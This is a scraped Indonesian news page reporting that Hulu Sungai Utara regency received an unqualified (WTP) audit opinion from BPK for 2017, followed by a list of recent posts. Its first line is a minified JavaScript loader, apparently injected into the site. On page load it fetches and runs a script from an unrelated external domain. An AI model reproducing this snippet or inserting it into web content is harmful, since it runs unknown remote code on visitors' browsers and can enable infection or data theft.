(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HSU Raih Opini WTP Kali Ketiga dari BPK RI


AMUNTAI, Kabupaten Hulu Sungai Utara (HSU) berusaha tetap pertahankan Opini Wajar Tanpa Pengecualian (WTP) dalam pemeriksaan Laporan Keuangan Pemerintah Daerah (LKPD) serta memperbaiki semua kegiatan yang menjadi objek pemeriksaan BPK.

Hal tersebut seperti disampaikan Bupati HSU H Abdul Wahid usai acara penyerahan laporan hasil pemeriksaan atas laporan keuangan pemerintah daerah tahun 2017 yang dihadiri oleh kepala daerah di Kalsel, di BPK RI Perwakilan Kalimantan Selatan di Banjarbaru, Rabu (30/5).
Didampingi Ketua DPRD HSU H Sahrujani, Wahid mengatakan, Kabupaten HSU sudah mendapatkan opini WTP untuk yang kali ketiga. Pemkab HSU akan terus berusaha untuk selalu memperbaiki laporan keuangan, pendataan aset, serta semua kegiatan yang menjadi objek pemeriksaan BPK.

“Saya menyakini bahwa apa yang sudah dilakukan sesuai dengan peraturan perundang undangan,” terangnya.

Dengan penyerahan laporan keuangan tahun anggaran 2017 tersebut, Kabupaten Hulu Sungai Utara telah memenuhi amanat Undang-Undang No. 17/2003 tentang Keuangan Negara, Undang-Undang No. 1/2004 tentang Perbendaharaan Negara, dan Undang-Undang No. 15/2004 tentang Pemeriksaan Pengeloaan dan Tanggung Jawab Keuangan Negara.

Kepala BPK Perwakilan Kalsel Tornanda Syaifullah SE MM mengatakan, BPK memberikan opini WTP kepada 12 pemerintah Kabupaten/Kota se-Kalsel, hanya Kabupaten HST yang meraiah opini Wajar Dengan Pengecualian.

Opini yang diberikan BPK merupakan kesimpulan hasil pemeriksaan laporan keuangan setelah mempertimbangkan kesesuaian laporan keuangan dengan standar akuntansi pemerintah. Selain itu, sesuai dengan kecukupan pengungkapan, efektivitas sistem pengendalian intern, serta kepatuhan terhadap peraturan perundang-undangan yang berlaku.

“Meski mendapat opini WTP, kami masih menemukan kelemahan sistem pengendalian intern dan ketidak patuhan terhadap perundang-undangan, namun hal itu tidak memengaruhi kewajaran,” tuturnya.

Sementara kelemahan yang ditemukan dari sistem pengendalian internal meliputi penatausahaan aset, pelaksanaan dan pertanggungjawaban belanja hibah, serta penatausahaan dana BOS APBN. Selanjutnya, pengelolaan piutang PBB P2 yang belum sepenuhnya tertib, dan klasifikasi penganggaran belanja yang belum sepenuhnya tepat, sehingga harus diperbaiki. (dew)

Reporter: Dew
Editor: Abi Zarrin Al GhifariÂÂ

Desy Arfianty

Recent Posts

Digitalisasi Pajak Lewat Bimtek Aplikasi SAPAT Kolaborasi BPPRD Banjarbaru – Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More

8 jam ago

Apresiasi Pemko Banjarmasin untuk Pembagian 2.500 Sepatu

KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More

12 jam ago

Unjuk Rasa Menuntut Solusi Banjir Kalsel di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More

12 jam ago

PUPR Kalsel Beberkan Rencana Pembangunan Jembatan Barito Dua

KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More

13 jam ago

Kabupaten Banjar Raih UHC Award Tahun 2026 Kategori Madya

KANALKALIMANTAN.COM, JAKARTA – Di bawah kepemimpinan Bupati Banjar H Saidi Mansyur, Pemerintah Kabupaten Banjar kembali… Read More

13 jam ago

Korem 101/Antasari Bagikan 2.500 Sepatu ke Anak Sekolah Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Merayakan Hari Ulang Tahun (HUT) ke-46 Komando Resor Militer (Korem) 101/Antasari membagikan… Read More

13 jam ago

This website uses cookies.